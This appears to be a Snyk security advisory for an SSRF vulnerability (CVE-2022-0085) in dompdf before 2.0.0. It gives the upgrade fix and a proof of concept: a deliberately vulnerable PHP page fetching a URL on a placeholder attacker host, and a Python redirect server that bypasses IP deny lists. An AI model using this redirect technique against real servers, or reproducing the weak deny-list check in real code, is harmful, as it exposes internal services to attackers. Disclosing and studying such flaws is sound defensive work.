Server-side Request Forgery (SSRF) Affecting dompdf/dompdf package, versions <2.0.0
Threat Intelligence
Snyk has a published code exploit for this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-PHP-DOMPDFDOMPDF-2936790
- published29 Jun 2022
- disclosed29 Jun 2022
- credithaxatron
Introduced: 29 Jun 2022
CVE-2022-0085 (opens in a new tab)How to fix?
Upgrade dompdf/dompdf to version 2.0.0 or higher.
Overview
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF). When DomPDF is being used with isRemoteEnabled and allow_url_fopen set to true, and the IP addresses are restricted via a deny list, it is possible for an attacker to pass in a URL which bypasses this deny list but serves a 302 redirect response to a restricted IP address.
PoC:
poc.php
<?php//URL variable
$url = "http://[ATTACKER-IP]";
require_once 'dompdf/autoload.inc.php';
use Dompdf\Dompdf; use Dompdf\Options;
$options = new Options(); $options->set('isRemoteEnabled', true);
$dompdf = new Dompdf($options);
$host = parse_url($url, PHP_URL_HOST); $ip = gethostbyname($host);
if ($ip !== "127.0.0.1") { $dompdf->loadHtmlFile($url); $dompdf->setPaper('A4', 'landscape'); $dompdf->render(); $dompdf->stream(); }
?>
redirector.py - hosted on http://[ATTACKER-IP]
import sys from http.server import HTTPServer, BaseHTTPRequestHandlerif len(sys.argv)-1 != 2: print("Usage: {} <port_number> <url>".format(sys.argv[0])) sys.exit()
class Redirect(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', sys.argv[2]) self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()